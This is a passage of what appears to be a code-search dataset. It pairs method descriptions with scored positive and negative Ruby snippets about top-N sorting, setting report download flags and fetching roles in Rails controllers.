w.empty?\n # words[w] ? words[w] += 1 : words[w] = 1\n # end\n # words.sort_by{|_, v| -v}[0..2].map{|x| x.first }\n\n text.downcase.scan(/\\w+(?:'*)\\w*/).inject(Hash.new(0)){|h, w| h[w] += 1; h}.sort_by{|_, v| -v}[0..2].map{|x| x.first }\n\n # text.downcase.scan(/[\\w']+/).select{|x| /\\w/ =~ x}.group_by{|x| x.downcase}.sort_by{|_, v| -v.count}.first(3).map(&:first)\nend", "title": "" }, { "docid": "1dacb76fd1f61d0bec7fe83b24bfc5ea", "score": "0.4659881", "text": "def index\n @items = Item.all\n @items = @items.select {|item| item.owner_id != current_user.id}\n @top = @items.max(3) {|item1, item2| item1.purchased <=> item2.purchased}\n @sale = @items.select {|item| item.on_sale }\n\n end", "title": "" }, { "docid": "8c6aa500ed5b9b661306ac3d3eff7547", "score": "0.4655243", "text": "def set_top_10_related_sub_reddits\n @top_10_related_sub_reddits = RelatedSubReddit\n .order(weight: :desc)\n .limit(20)\n .all\n .to_a\n .each_slice(2).map(&:last)\n end", "title": "" }, { "docid": "5b4fac10490677b26f7379f166e9aa76", "score": "0.46520096", "text": "def top_five\n order = params[:order].try(:downcase)\n ascending = order == 'asc'\n\n @foos = Foo.order(:foo_date).reverse_order.to_a.take(5)\n @foos.reverse! if ascending\n\n render json: @foos\n end", "title": "" }, { "docid": "063376d505a78a1eaf48dd8f9c3bdcf6", "score": "0.4640881", "text": "def top_expert_tags(number)\n ret = self.expertises.where(\"expert_score > 0\").order(expert_score: :desc)\n return ret if number.nil? || number < 1\n ret.limit number\n end", "title": "" }, { "docid": "348b4a4c193114c44a2ceac89fbcdbd4", "score": "0.4627738", "text": "def top_5_teams\n team_names = []\n teams = UserTeam.all.collect{|team| team.team_id}\n most_common_value = teams.uniq.sort_by{ |i| teams.count( i ) }.reverse[0..4]\n most_common_value.each do |team|\n team_names << get_team_name_by_id(Team.find(team).api_team_id)\n end\n team_names\nend", "title": "" }, { "docid": "611eccfdfe0e690fd8892cb28da2ece3", "score": "0.46244007", "text": "def max_of_three(n1, n2, n3)\n largest = n1\n if n1 < n2\n largest = n2\n end\n if largest < n3\n largest = n3\n end\n return largest\nend", "title": "" }, { "docid": "f55188822297908f31fdf1244b401f08", "score": "0.46169356", "text": "def index\n @most_played_artist = Song.most_played_artist\n @most_played_by_artist = Song.find_most_played_by_artist :limit => 3\n\n @most_played_players = User.find_players_of_artist(@most_played_artist, :limit => 4)\n\n @most_played_tags = Tag.find_top(:limit => 3, :conditions => {\n :taggable_type => 'song', :taggable_id => @most_played_by_artist.map(&:id)})\n\n @coolest_users = User.find_coolest :limit => 4\n @max_votes = @coolest_users.map(&:rating_count).max\n end", "title": "" }, { "docid": "b0139b0096002398d21ce424ffed0cec", "score": "0.4614075", "text": "def top_artists(user, options={})\n get(:standard, {:method => \"user.getTopArtists\", :user => user}.merge(options))\n end", "title": "" }, { "docid": "5479b90b0ce83064a6ab14fa9a1386de", "score": "0.46027216", "text": "def top_n(n = 10)\n logger.info(\"Top #{n} tags requested\")\n tags = @stream_parser.hash_store.fresh_tags(@config[:tag_ttl])\n HashtagExtractor.extract_tags!(tags, n, @config[:case_sensitive])\n end", "title": "" }, { "docid": "b2f9547ed1f62e51cab9ed847af060e0", "score": "0.4598947", "text": "def get_keywords(top_n)\n @weighted_keywords.sort_by {|_key, value| value}.reverse[1..top_n]\n end", "title": "" }, { "docid": "9741e98aceac1b30bd13d5a31a6ce0db", "score": "0.45952606", "text": "def top_artists(spot_user)\n @top_artists_hash = {}\n spot_user.top_artists[0..19].each do |fav|\n @top_artists_hash[fav.name] = {}\n\n @user_artist_related[fav.name].each do |fav_rel_art|\n @top_artists_hash[fav.name][fav_rel_art] = {}\n \n @rel_artist_rec[fav_rel_art].each do |user_also_rec|\n if fav.name != user_also_rec\n @top_artists_hash[fav.name][fav_rel_art][user_also_rec] = \"1\"\n end\n end\n if @top_artists_hash[fav.name][fav_rel_art] == {}\n @top_artists_hash[fav.name][fav_rel_art][\"none\"] = \"0\" \n end\n end\n end\n @top = @top_artists_hash.to_json\n\n end", "title": "" }, { "docid": "0751069f5bc19948888c29ae850cda6d", "score": "0.4590163", "text": "def getTop10AwesomePeeps\n @persons.sort!\n return @persons[-10..-1]\n end", "title": "" }, { "docid": "6c17709e5e225e7c1ed5d6c7f56f8045", "score": "0.45882198", "text": "def index\n @recipe = Recipe.new\n @recipes = current_user.recipes.page(params[:page]).per(15)\n end", "title": "" }, { "docid": "5c062afa9586ea5147c5bc6558805021", "score": "0.4587656", "text": "def third_greatest(array)\n\t\n\tsorted_array = array.sort\n\tsorted_array[-3]\n\t\nend", "title": "" } ]
6fd4862b3d16e12e69704bb688fb0f8b
Set the value for 'download_reports'
[ { "docid": "a54f6e3ec88ad2816f31d4577fb55f44", "score": "0.82707655", "text": "def download_reports=(value)\n if [true, false].include?(value)\n @download_reports = value\n else\n raise ArgumentError, \"Invalid value for 'download_reports'. Only true or false allowed.\"\n end\n end", "title": "" } ]
[ { "docid": "ac4d324e0cd1111f6b8f6505a53c51b2", "score": "0.74061334", "text": "def reports=(value)\n @reports = value\n end", "title": "" }, { "docid": "2e7e9af2589d22e519c4ef66bde8b208", "score": "0.7132017", "text": "def defender_scan_downloads=(value)\n @defender_scan_downloads = value\n end", "title": "" }, { "docid": "109adecd1742e76e2ac62077854ac565", "score": "0.6983277", "text": "def task_reports=(value)\n @task_reports = value\n end", "title": "" }, { "docid": "7ded593e039c8236682be92dd67f7637", "score": "0.6488541", "text": "def direct_reports=(value)\n @direct_reports = value\n end", "title": "" }, { "docid": "7ded593e039c8236682be92dd67f7637", "score": "0.6488541", "text": "def direct_reports=(value)\n @direct_reports = value\n end", "title": "" }, { "docid": "f68e59b896f2a71f3aab03a49567074a", "score": "0.64536464", "text": "def download_url=(value)\n @download_url = value\n end", "title": "" }, { "docid": "f68e59b896f2a71f3aab03a49567074a", "score": "0.64536464", "text": "def download_url=(value)\n @download_url = value\n end", "title": "" }, { "docid": "77862071e27aa3979b331bd72ed77561", "score": "0.6441904", "text": "def downloads=(val)\n downloads = val.is_a?(String) ? val.strip_commas.to_i : val\n write_attribute(:downloads, downloads)\n end", "title": "" }, { "docid": "a006f8fc368fcfd304da2eaf7a4d170b", "score": "0.6365939", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "a006f8fc368fcfd304da2eaf7a4d170b", "score": "0.6365939", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "a006f8fc368fcfd304da2eaf7a4d170b", "score": "0.6365939", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "a006f8fc368fcfd304da2eaf7a4d170b", "score": "0.6365939", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "bb9ccfe4c1feb8133b197e3970d63a59", "score": "0.6227096", "text": "def set_download\n @download = Download.find_by(filename: params[:id])\n end", "title": "" }, { "docid": "0f9a973cecadc19a32845d0c9790981e", "score": "0.6203232", "text": "def set_download_list\n @download_list = DownloadList.find(params[:id])\n end", "title": "" }, { "docid": "750915ec65475f148331c46dbdfe6a58", "score": "0.61988807", "text": "def last_report=(value)\n @last_report = value\n end", "title": "" }, { "docid": "c10c515b629b12595adc97d8a4c07845", "score": "0.6151136", "text": "def set_ReportOptions(value)\n set_input(\"ReportOptions\", value)\n end", "title": "" }, { "docid": "1e89c3a6f4216eb279e77be6ce58d24c", "score": "0.61498386", "text": "def attendance_reports=(value)\n @attendance_reports = value\n end", "title": "" }, { "docid": "aeec9a429b795bc1d3d9e700c46ee9b8", "score": "0.61381716", "text": "def report_options=(report_options)\n @browser.select_list(:id => \"generateReports\").select(report_options)\n end", "title": "" }, { "docid": "45b857bec5fd60d04b3cfc2cf8c47023", "score": "0.6123104", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "45b857bec5fd60d04b3cfc2cf8c47023", "score": "0.6123104", "text": "def set_download\n @download = Download.find(params[:id])\n end", "title": "" }, { "docid": "ea57a9d590e75699a8085d58cf72ae00", "score": "0.6117273", "text": "def set_report\n @available_report = AvailableReport.find(params[:id])\n end", "title": "" }, { "docid": "d1aed14970836caa88277c81cc61b383", "score": "0.6098055", "text": "def set_report\n @report = @organization.reports.find(params[:id])\n end", "title": "" }, { "docid": "cbc0430ca96edde4c726e6ab2f8dfa4a", "score": "0.608014", "text": "def set_report\n puts \"\\n******** set_reports ********\"\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "5e97290480315fb9f9974ca1c5b76cfe", "score": "0.6073073", "text": "def update!(**args)\n @report_requests = args[:report_requests] if args.key?(:report_requests)\n end", "title": "" }, { "docid": "68d8f19b72d1dd0de1d42a732bf8a532", "score": "0.60704285", "text": "def download_report(report_name)\n find_link(report_name).click\n end", "title": "" }, { "docid": "8d9bc60c1c6ccef8b957d0153f72d149", "score": "0.6028699", "text": "def update!(**args)\n @reports = args[:reports] if args.key?(:reports)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "title": "" }, { "docid": "25a1de34f740af71435b6eb39ea4e86e", "score": "0.6027884", "text": "def set_report\n\n end", "title": "" }, { "docid": "25a1de34f740af71435b6eb39ea4e86e", "score": "0.6027884", "text": "def set_report\n\n end", "title": "" }, { "docid": "f6034804ccaa8c6d07f6cf5484bc662f", "score": "0.60275656", "text": "def download_report(report_name)\n wait_until do\n !find(:xpath, \"//a[text()='#{report_name}']/../../*[7]\").text.match(/.*Download.*/).nil?\n end\n report_row = find_report(report_name)\n report_row[6].find(:css, \"a:contains('Download')\").click\n end", "title": "" }, { "docid": "701aed4388434a88be5afc337ade03ba", "score": "0.60223025", "text": "def set_ReportId(value)\n set_input(\"ReportId\", value)\n end", "title": "" }, { "docid": "701aed4388434a88be5afc337ade03ba", "score": "0.6021647", "text": "def set_ReportId(value)\n set_input(\"ReportId\", value)\n end", "title": "" }, { "docid": "4aeef703f3d49f00fe2162ede3f0a83d", "score": "0.59700733", "text": "def set_report\n\t\tself.report = 'open'\n\tend", "title": "" }, { "docid": "c3d30fc42c38d0d147bf607255238172", "score": "0.5940781", "text": "def set_HasDownloads(value)\n set_input(\"HasDownloads\", value)\n end", "title": "" }, { "docid": "34cf0a20d6ef47fb7324d5f01889ea84", "score": "0.594012", "text": "def set_download_excel\n @download_excel = DownloadExcel.find(params[:id])\n end", "title": "" }, { "docid": "c2c31982d6279e5b72631047d363bfaf", "score": "0.592331", "text": "def set_report\n @report = current_user.reports.find(params[:id])\n end", "title": "" }, { "docid": "c2c31982d6279e5b72631047d363bfaf", "score": "0.592331", "text": "def set_report\n @report = current_user.reports.find(params[:id])\n end", "title": "" }, { "docid": "81d4965868c87e78e2856656a3cd0465", "score": "0.59171265", "text": "def set_report\n @report = @project.reports.find_by_legacy_id(params[:id])\n end", "title": "" }, { "docid": "ad5cc2e8983a12a85575b3f0d7876992", "score": "0.590917", "text": "def set_report\n @report = Admin::Report.find(params[:id])\n end", "title": "" }, { "docid": "e7e987cdc6c324c09b21d0962477f9cc", "score": "0.5893205", "text": "def download_dir=(dir)\n @download_dir = String(dir)\n end", "title": "" }, { "docid": "b9002d5b5c08e85d71965bfb5c016bb5", "score": "0.5890136", "text": "def update!(**args)\n @account_reports = args[:account_reports] if args.key?(:account_reports)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "title": "" }, { "docid": "2a0bcbc4a0e6f669d054da58344c5e42", "score": "0.58630365", "text": "def set_report_option\n @report_option = ReportOption.find(params[:id])\n end", "title": "" }, { "docid": "aed8f262413f3039f056a0be12a7b3fb", "score": "0.58564806", "text": "def set_report\n @report = report.find(params[:id])\n end", "title": "" }, { "docid": "b25e2a65bb4651b9edf410493337c778", "score": "0.58235407", "text": "def set_download!\n download_path = params[:download_path]\n if download_path\n # Force the file extension back onto the download path, since Rails strips it\n format = params[:format]\n download_path = \"#{download_path}.#{format}\" if format.present?\n dl = Download.find_download_by_path(@container, download_path)\n return not_found unless dl\n\n @retrieval_type = dl.retrieval_type\n @download_id = dl.id\n else\n @download_id = params[:download_id].to_i\n @retrieval_type = params[:retrieval_type]\n end\n end", "title": "" }, { "docid": "e482c62aab23ccca7cffe55cca28bb70", "score": "0.5808281", "text": "def download_report(report_name, file_path)\n\t#report_name += '-1'\n\t#@browser.refresh\n\tclick_tab_by_name('View Status/ Report')\n sleep 2\n\ttable = @browser.frame(:name, \"content\").frame(:name, \"frame_reportsummary\").table(:id, 'tbl_reportlist')\n\tfor i in 1..table.row_count\n\t\trow = table[i]\n\t\tif(row.attribute_value('rp_name') == report_name)\n\t\t\trow[2].link(:href, /XLS/).click_no_wait\n\t\t\tsleep 2\n\t\t\t#url = row[2].link(:href, /XLS/).href\n\t\t\tsave_file(file_path)\n\t\t\t#puts url\n\t\t\t#puts Watir::IE.attach(:url, url).exists?\n\t\t\t#close_ie_process\n\t\t\t#@browser.close_others\n\t\t\tbreak\n\t\tend\n\tend\nend", "title": "" }, { "docid": "d0aea9fdc09d5952c25f5af41be1a81e", "score": "0.57846594", "text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reports = args[:reports] if args.key?(:reports)\n end", "title": "" }, { "docid": "d0aea9fdc09d5952c25f5af41be1a81e", "score": "0.57846594", "text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reports = args[:reports] if args.key?(:reports)\n end", "title": "" }, { "docid": "91c0fef7edf782618ca389e073feac44", "score": "0.5784305", "text": "def set_report\n if params[:report_id]\n @report = Report.find(params[:report_id])\n else\n @report = Report.find(params[:id])\n end\n end", "title": "" }, { "docid": "07f3707700a4f2e277b553b77fac7ad1", "score": "0.5778437", "text": "def set_admin_daily_report\n @daily_report = DailyReport.find(params[:id])\n end", "title": "" }, { "docid": "09e05be16447397d37d8eefa8451601d", "score": "0.5776935", "text": "def set_report\n @reports = CampaignReport.where(campaign_id: params[:campaign_id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" }, { "docid": "bfce5f87de24f081bf8820e373a19b6a", "score": "0.5767458", "text": "def set_report\n @report = Report.find(params[:id])\n end", "title": "" } ]
b338d02d0aa1a7b76c2341f22a4bef68
GET /roles/1 GET /roles/1.json
[ { "docid": "99ec0eac7082b93b7face76e5ac1e9d2", "score": "0.0", "text": "def show\n\t\tunless current_admin.full_access? || current_admin.partial_access?\n\t\t\tredirect_to \"/404.html\"# configurar pagina 403\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "fd6d98644a771196d9eeee6e36f133d8", "score": "0.7850137", "text": "def roles\n render :json => {:roles => User.roles}, :status => 200\n end", "title": "" }, { "docid": "6fb8d08b0bffe213eb526b64c8d0d4cf", "score": "0.7785784", "text": "def show(id)\n response = request(:get, \"/roles/#{id}.json\")\n response[\"role\"]\n end", "title": "" }, { "docid": "031af1ec0cf8285649eb5676057e507d", "score": "0.7770552", "text": "def show(id)\n response = request(:get, \"/roles/#{id}.json\")\n response.first[1]\n end", "title": "" }, { "docid": "0dad494b268dd8a8b0e5e0a023f52a1b", "score": "0.76123434", "text": "def show\n @user = User.find(params[:id])\n @roles = @user.roles\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "95c1c9be9858e14d8374324bb313a93b", "score": "0.7606701", "text": "def index\n roles = Role.all\n json_response(roles)\n end", "title": "" }, { "docid": "1bb18a44de29b45d7050291e92637cb9", "score": "0.758688", "text": "def index\n @roles = Role.all\n json_response(@roles)\n end", "title": "" }, { "docid": "be168d7c75df5b88ee256c8e85f7a7f1", "score": "0.7490455", "text": "def list\n get('roles')['roles']\n end", "title": "" }, { "docid": "a9e2257fd0373bb63d6b83eb29875e26", "score": "0.7455461", "text": "def show\n @roles_user = RolesUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_user }\n end\n end", "title": "" }, { "docid": "a1d730f58061c1c14d98141a1c22fd8b", "score": "0.741002", "text": "def get_roles\n self.class.get(\"#{@url}/rest/user-management/roles\", basic_auth: @auth)\n end", "title": "" }, { "docid": "7e184696c9ecbe3616dd7bfafdf8131e", "score": "0.7407966", "text": "def index\n roles = Role.all\n render_jsonapi(roles)\n end", "title": "" }, { "docid": "30700de2f5425b21e4fadf20df53acee", "score": "0.7404976", "text": "def index\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "30700de2f5425b21e4fadf20df53acee", "score": "0.7404976", "text": "def index\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "30700de2f5425b21e4fadf20df53acee", "score": "0.7404976", "text": "def index\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "338cc6846addfd5aa0e58b623156df9b", "score": "0.73830503", "text": "def get_roles\n @client.raw('get', '/config/roles')\n end", "title": "" }, { "docid": "2e692d93df45d1587aa155301b2f0e1b", "score": "0.7328802", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @roles }\n end\n end", "title": "" }, { "docid": "d340556664afcf4bafb2c550b272382c", "score": "0.7294755", "text": "def index\n respond_with @roles\n end", "title": "" }, { "docid": "55648619479746794ee71302de349c30", "score": "0.72909176", "text": "def show\n @user_role = UserRole.find(params[:id])\n\n render json: @user_role\n end", "title": "" }, { "docid": "0aea9cb69709c3994b59a5f4ec9ed010", "score": "0.72862303", "text": "def role(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"roles/#{id}\", params)\n end", "title": "" }, { "docid": "32d35f22ff3c030b2e0acb7d1ebb7286", "score": "0.7270909", "text": "def show(id:)\n id_check(:id, id)\n\n cf_get(path: \"/organizations/#{org_id}/roles/#{id}\")\n end", "title": "" }, { "docid": "ae738ca16f8ddc094dde26b7165deb8a", "score": "0.7211752", "text": "def get_role(id)\n @client.raw('get', \"/config/roles/#{id}\")\n end", "title": "" }, { "docid": "172124b9d1e7c00611d460825477fc14", "score": "0.72018045", "text": "def index\n\t\t@roles = Role.all\n\n\t\trespond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @roles }\n\t\tend\n\tend", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.7165203", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.7165203", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.7165203", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.7165203", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "8a7fa94dc574431b9a94c7fe7b5dcb72", "score": "0.7165203", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "b680696ef2df649c60e5cbee11234f75", "score": "0.71544224", "text": "def show\n\t\t@role = Role.find(params[:id])\n\n\t\trespond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render json: @role }\n\t\tend\n\tend", "title": "" }, { "docid": "1b8c720dfcb9cb4843a4f82fac6e90a7", "score": "0.7152069", "text": "def role_get(name)\n request.handle(:auth, 'role_get', [name])\n end", "title": "" }, { "docid": "23f07ac1b5043af36a55abb4375b2021", "score": "0.71454954", "text": "def show\n json_response(@role)\n end", "title": "" }, { "docid": "28446b07d494eb8c6ee8963cdae57b7e", "score": "0.7136811", "text": "def index\n @user_roles = UserRole.all\n\n render json: @user_roles\n end", "title": "" }, { "docid": "0705c20f2904cf3ce6de50a91b102e57", "score": "0.71361256", "text": "def getRole\n @users = User.where(\"role = ?\", params[:role]).NameOrder\n render json: @users\n end", "title": "" }, { "docid": "cb5e06f6c5f65f1b4e3054185aadda81", "score": "0.71277577", "text": "def show\n @roles = UserRole.all\n end", "title": "" }, { "docid": "55c98b512d53de1c94ddbf98cc3fa9cd", "score": "0.7127707", "text": "def roles\n @person = Person.find(params[:id])\n end", "title": "" }, { "docid": "d1d7212251b51968c3384c38960afd1b", "score": "0.71218663", "text": "def show\n render json: @role\n end", "title": "" }, { "docid": "e71394cbe484ce46cc0defa6a59cd2dd", "score": "0.71178764", "text": "def roles\n @organisation = Organisation.find(params[:id])\n end", "title": "" }, { "docid": "7c091395ba0797c1a3124494fac56b03", "score": "0.7116452", "text": "def get_user_role(role_id)\n path = \"/d2l/api/lp/#{$lp_ver}/roles/#{role_id}\"\n _get(path)\n # returns a Role JSON data block\nend", "title": "" }, { "docid": "076f8a883ed7d622b4e329f42237f542", "score": "0.71020955", "text": "def index\n if @account\n @roles = @account.roles\n else\n @roles = MasterData::Role.all\n end\n authorize @roles, :index?\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "5bec203387a738c3fa0d0be22d7eef66", "score": "0.70992225", "text": "def show\n @breadcrumb = 'read'\n @user = User.find(params[:id])\n @roles = @user.roles.order('name')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "49ebb4505dcb866dc768cba9d663758d", "score": "0.7076402", "text": "def get_roles\n return @client.raw(\"get\", \"/config/roles\")\n end", "title": "" }, { "docid": "08cd5bfe4564f9dc5e3aefca09fce683", "score": "0.7053278", "text": "def index\n \n @roles = Role.all # fetching all roles\n\n respond_to do |f|\n\n f.html # output as HTML\n \n f.json {render :json => @roles} # output as json\n \n end\n \n end", "title": "" }, { "docid": "6849003e32e69d7cea3e552f501e59d9", "score": "0.7047811", "text": "def index\r\n @userroles = Userrole.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @userroles }\r\n end\r\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": 